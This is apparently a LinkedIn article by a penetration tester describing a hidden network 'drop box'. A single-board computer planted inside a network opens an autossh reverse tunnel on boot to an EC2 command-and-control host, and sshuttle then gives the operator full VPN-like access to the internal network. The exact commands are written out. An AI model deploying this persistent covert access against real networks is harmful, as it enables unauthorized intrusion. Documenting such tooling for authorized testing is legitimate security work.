Simple drop box for full network access
Dennis Perto
Leading engineering in the OT SOC | Public speaker | OSCP | CCNP Security | Bitcoin maximalist | OWASP Chapter Leader
Part 2. Why, How, What, Edit C2, Edit drop box, Full access.
Why change what works
Different scenarios require different solutions. The solution described in part 1 of this "Simple drop box"-series works quite well. Both solutions have their own advantages and disadvantages. An advantage from the original solution is that the dataset you are working with can stay on site. The disadvantage is that you have limited hardware resources.
Part 1, look no further.
How it works
First some history. The single requirement for the original solution was that the connection is opened from the inside network - this requirement will persist. The easy solution was to deploy the drop box with the resources that was needed to fulfill the assignment that you are set on doing. Initially I created two SSH connections to control the drop box itself. This is pictured below:
The great disadvantage with this is that a SBC is not very powerful when it comes to hardware resources. I initially did struggle with having the Kali operating system on the eMMC storage with only 8GB of space, not to mention the need to have a rather large password database to spray from.
With this improved solution you do not need to have much hardware resources on site - just enough to have the tunnel running. SSH and Python is required on site.
I tried to picture that you, after the connection is opened from the inside, made what seem to be a single connection directly to the inside network, without accessing the terminal on either the drop box nor the C2 server. Pretty useful I must say.
What do you need
Much like in the previous post you will need:
- Amazon EC2 instance
- Single Board Computer (SBC)
I figure that the minimum requirements for the SBC will be a couple of cores with a single gig of memory.
Edit C2
Change this single line in the EC2 instance with the command "nano /etc/ssh/sshd_config".
"GatewayPorts yes" will enable the drop box to choose the EC2 interface to expose the SSH tunnel on. After this change have been made, reboot the SSH service or the entire EC2 appliance.
Edit drop box
Remember that we edited the "rc.local" file to start autossh on boot? Now we need to pick the interface to make available the SSH tunnel. In this case I chose to expose the SSH tunnel on all interfaces and all protocols - IPv4 and IPv6. I edited the line to look like this:
autossh -M 11166 -o "PubkeyAuthentication=yes" -o "PasswordAuthentication=no" -i /root/.ssh/id_rsa -R \*:6666:localhost:22 [email protected]
Did you see the change? I edited this part "6666:localhost:22" to be "\*:6666:localhost:22".
I could have picked 0.0.0.0:6666:localhost:22 for all IPv4 interfaces or [::]:6666:localhost:22 for all IPv6 interfaces.
Reboot the drop box. Now you are able to login directly to this box, making an invisible jump from the C2 server when the right port is used. Run a test connection to verify that all is good:
ssh -i "3.122.54.211-Key.pem" dennis@reverse.example.com -p 6666
Enter the password for the user "dennis" and voila!
Full access
Is that all, you might ask. No it is not - but we are getting there. Now we just need to convert this single SSH tunnel into a full VPN/transparent proxy kind of solution. This is where you will use sshuttle on your local host machine - and the best part, you do not need to be administrator or root on any of the machines to tunnel the traffic. I recommend running a Kali virtual machine with all the hardware resources that you could ever imagine using. Start sshuttle like this:
sshuttle --dns -r dennis@reverse.example.com:6666 0/0 --ssh-cmd 'ssh -i 3.122.54.211-Key.pem'
After you have entered the password for the local user "dennis" on the drop box, the remote network will welcome your local Kali virtual machine. You will see something like this:
A small explanation for the connection string:
"--dns" send local DNS requests through tunnel
"-vr" v for verbose, r for remote
"dennis" is the username on drop box
"reverse.example.com" pointing to EC2 instance
"6666" mapped port for drop box
"0/0" essentially 0.0.0.0/0 - the network you want to reach - I could have gone with 192.168.0.0/24
"--ssh-cmd" extra commands
"3.122.54.211-Key.pem" key for EC2 instance
That is all! Again, happy assessing, testing, scanning, deploying, upgrading, backuping, or whatever you want to do. :)
If you liked this post, please click "Like" so that others can find it.
About: Dennis Perto is an enthusiastic security analyst who places great honour in genuinely humble consulting. He believes in serving the client with expert knowledge, and in not being afraid to admit when he is not the right expert anymore. He enjoys researching vulnerabilities and exploits to advise trusted partners.
Feel free to connect with me here on LinkedIn, and follow me on Twitter: @PertoDK
.?l?.?l?. Account Executive
5 年Great article Dennis Perto?! The last statement "That is all! Again, happy assessing, testing, scanning, deploying, upgrading, backuping, or whatever you want to do. :)" got me intrigued, particularly the "or whatever you want to do :)" :). Hope you and the team are well !.
Cyber Security Engineer
5 年I think Dennis Perto is modest with \*:6666:localhost:22. It still gives you “what-if” ideas ??????. Excellent post!
Hack-proof your business - hire an offensive security expert
5 年Effing awesome.